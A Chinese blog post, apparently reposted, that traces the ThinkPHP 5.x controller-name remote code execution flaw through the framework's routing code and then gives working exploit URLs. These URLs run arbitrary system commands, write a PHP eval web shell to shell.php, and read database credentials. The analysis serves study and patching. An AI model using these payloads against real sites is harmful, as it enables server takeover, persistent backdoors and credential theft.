ThinkPHP远程命令执行漏洞原理及复现

超、凢脫俗 2022-10-02 10:46 427阅读 0赞

2018年12月11日，exploit-db更新了一个thinkphp框架远程代码执行漏洞  
exploit地址：[https://www.exploit-db.com/exploits/45978][https_www.exploit-db.com_exploits_45978]  
由于框架对控制器名没有进行足够的检测导致在没有开启强制路由的情况下getshell  
`漏洞影响范围`  
Thinkphp 5.1.0 - 5.1.31  
Thinkphp 5.0.5 - 5.0.23  
`安装`：  
下载地址http://www.thinkphp.cn/donate/download/id/1125.html  
下载完解压在/var/www/html/目录下即可  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP]  
`漏洞分析`  
/thinkphp/library/think/App.php 行数:120  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 1]  
我们可以看到通过self::routerCheck函数进行路由检测  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 2]  
我们可以看到又进入$request->path()函数  
/thinkphp/library/think/Request.php 行数:416行  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 3]  
进入pathinfo()函数，继续追踪到384行  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 4]  
Config::get('var\_pathinfo')是配置文件中的设置的参数，默认值为s，从GET中获取键值，然后赋值给routeCheck中的$path  
我们再回到App.php 行数:606  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 5]  
这里会进行路由检测，检查$check后会进入else分支导入路由配置，接着检测路由url调度结果为$result，如果调度失败且开启了强制路由$must，则报出路由无效，接着进入Route::parseUrl函数，根据$path（自定义url）解析操作  
开始跟踪parseUrl函数  
/thinkphp/library/think/Route.php 行数:1208  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 6]

进入parseUrlPath函数 行数:1275  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 7]  
这里我们可以看到对模块/控制器/操作的url地址分割成数组来返回（没截好图有点重了）行数:1217  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 8]  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 9]  
我们可以看到，返回的结果赋值为$path,提取路由信息又封装到$route,最后返回  
thinkphp/library/think/App.php 行数:120  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 10]  
进入self::exec函数 行数:445  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 11]  
我们可以看到模块/控制器/操作 的函数为self::module  
开始跟踪module函数 行数:494  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 12]  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 13]

我们可以看到，根据$config\['app\_multi\_module'\]进入多模块部署，$bind为NULL，又进入elseif分支，判断模块是否在禁止的列表里面$config\['deny\_module\_list'\]，而且mmodule存在，$available = true，就不会抛出异常  
module函数最后的返回值，发现$controller没有进行过滤，那么此时应该为think\\app，也就是return self::invokeMethod($call, $vars);  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 14]  
进入self::invokeMethod函数 行数:329  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 15]

此时穿进去的$call也就是$method,是一个数组，第一个元素是一个think\\App对象，第二个元素则是调用方法名称的字符串invokefunction，然后通过反射ReflectionMethod获取这个对象下对应的方法  
再通过函数$args = self::bindParams($reflect, $vars);获取传入的参数，也就是payload

最后再调用反射$reflect->invokeArgs($args);，将Payload数组传入反射对象函数invokeFunction，完成代码执行。  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 16]  
至此，ThinkPHP远程代码执行漏洞分析完成  
————————————————————————————————————————  
`漏洞利用`  
http://xxx.xxx.xxx(这里为你的域名)/public/index.php?s=index/think\\app/invokefunction&function=call\_user\_func\_array&vars\[0\]=system&vars\[1\]\[\]=whoami  
远程代码执行命令:whoami（链接后面的whoami可以改成你要执行的命令,特殊符号请进行url转码）  
[http://xxx.xxx.xxx/public/index.php?s=index/\\think\\app/invokefunction&function=call\_user\_func\_array&vars\[0\]=phpinfo&vars\[1\]\[\]=1][http_xxx.xxx.xxx_public_index.php_s_index_think_app_invokefunction_function_call_user_func_array_vars_0_phpinfo_vars_1_1]  
通过phpinfo函数写出phpinfo的信息  
![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 17]

[http://xxx.xxx.xxx/public/index.php?s=/index/\\think\\app/invokefunction&function=call\_user\_func\_array&vars\[0\]=system&vars\[1\]\[\]=echo%20^%3C?php%20@eval($\_GET\[%22snowwolf%22\])?^%3E%3Eshell.php][http_xxx.xxx.xxx_public_index.php_s_index_think_app_invokefunction_function_call_user_func_array_vars_0_system_vars_1_echo_20_3C_php_20_eval_GET_22snowwolf_22_3E_3Eshell.php]  
写入shell  
[http://xxx.xxx.xxx/public/index.php?s=index/\\think\\app/invokefunction&function=phpinfo&vars\[0\]=100][http_xxx.xxx.xxx_public_index.php_s_index_think_app_invokefunction_function_phpinfo_vars_0_100]  
也是显示phpinfo

[http://xxx.xxxx.xxx/thinkphp/public//?s=.|think\\config/get&name=database.username][http_xxx.xxxx.xxx_thinkphp_public_s_._think_config_get_name_database.username]  
数据库用户名（后面的username改为password为数据库密码）![ThinkPHP远程命令执行漏洞原理及复现][ThinkPHP 18]

转载于:https://blog.51cto.com/superwolf/2338829

[https_www.exploit-db.com_exploits_45978]: https://www.exploit-db.com/exploits/45978
[ThinkPHP]: https://s1.51cto.com/images/blog/201901/04/e977f720f782297588d4334fa37d2910.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 1]: https://s1.51cto.com/images/blog/201901/04/29d62d71b492d7f7afe2106921ae16b8.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 2]: https://s1.51cto.com/images/blog/201901/04/9747ca8286059414d52d5c9ecbab26f0.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 3]: https://s1.51cto.com/images/blog/201901/04/b8d9cbb52caedb1c6a60708a65c31bf3.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 4]: https://s1.51cto.com/images/blog/201901/04/b7f99f4cf2507e82033e2d8c587c910b.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 5]: https://s1.51cto.com/images/blog/201901/04/7fe5a2669588d40d5418dbbddad49a22.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 6]: https://s1.51cto.com/images/blog/201901/04/35bbca6752ee778d2909c48abd6abb24.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 7]: https://s1.51cto.com/images/blog/201901/04/b5713be4395cec4b7e1f6fa26faac827.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 8]: https://s1.51cto.com/images/blog/201901/04/cbe6e6cd92414052b29bbe79ec87b4d3.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 9]: https://s1.51cto.com/images/blog/201901/04/4326f9e6954964bd2099d5ce5d8dc08d.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 10]: https://s1.51cto.com/images/blog/201901/04/bf004cf83942d3e9454fcf126ec8ed0b.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 11]: https://s1.51cto.com/images/blog/201901/04/3c41d247eb5ee1cec6d61eeaa9104183.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 12]: https://s1.51cto.com/images/blog/201901/04/3f13590728bf35619ffd2ad82dde112c.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 13]: https://s1.51cto.com/images/blog/201901/04/c674d9dfc3351d4aa783d7469a03fb85.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 14]: https://s1.51cto.com/images/blog/201901/04/e53820397f83c87333084ce9421a315e.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 15]: https://s1.51cto.com/images/blog/201901/04/f69689b439bd033639a0ce8b53b19405.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[ThinkPHP 16]: https://s1.51cto.com/images/blog/201901/04/1f71a27cb067d39cf42debce046fbbfc.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[http_xxx.xxx.xxx_public_index.php_s_index_think_app_invokefunction_function_call_user_func_array_vars_0_phpinfo_vars_1_1]: http://xxx.xxx.xxx/public/index.php?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1
[ThinkPHP 17]: https://s1.51cto.com/images/blog/201901/04/5a98ecb2efd63f095ab1547969d34415.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[http_xxx.xxx.xxx_public_index.php_s_index_think_app_invokefunction_function_call_user_func_array_vars_0_system_vars_1_echo_20_3C_php_20_eval_GET_22snowwolf_22_3E_3Eshell.php]: http://xxx.xxx.xxx/public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=echo%20%5E%3C?php%20@eval%28%24_GET%5B%22snowwolf%22%5D%29?%5E%3E%3Eshell.php
[http_xxx.xxx.xxx_public_index.php_s_index_think_app_invokefunction_function_phpinfo_vars_0_100]: http://xxx.xxx.xxx/public/index.php?s=index/%5Cthink%5Capp/invokefunction&function=phpinfo&vars%5B0%5D=100
[http_xxx.xxxx.xxx_thinkphp_public_s_._think_config_get_name_database.username]: http://xxx.xxxx.xxx/thinkphp/public//?s=.%7Cthink%5Cconfig/get&name=database.username
[ThinkPHP 18]: https://s1.51cto.com/images/blog/201901/28/723575b76c42b33f1bde8124b9c322c5.jpg?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=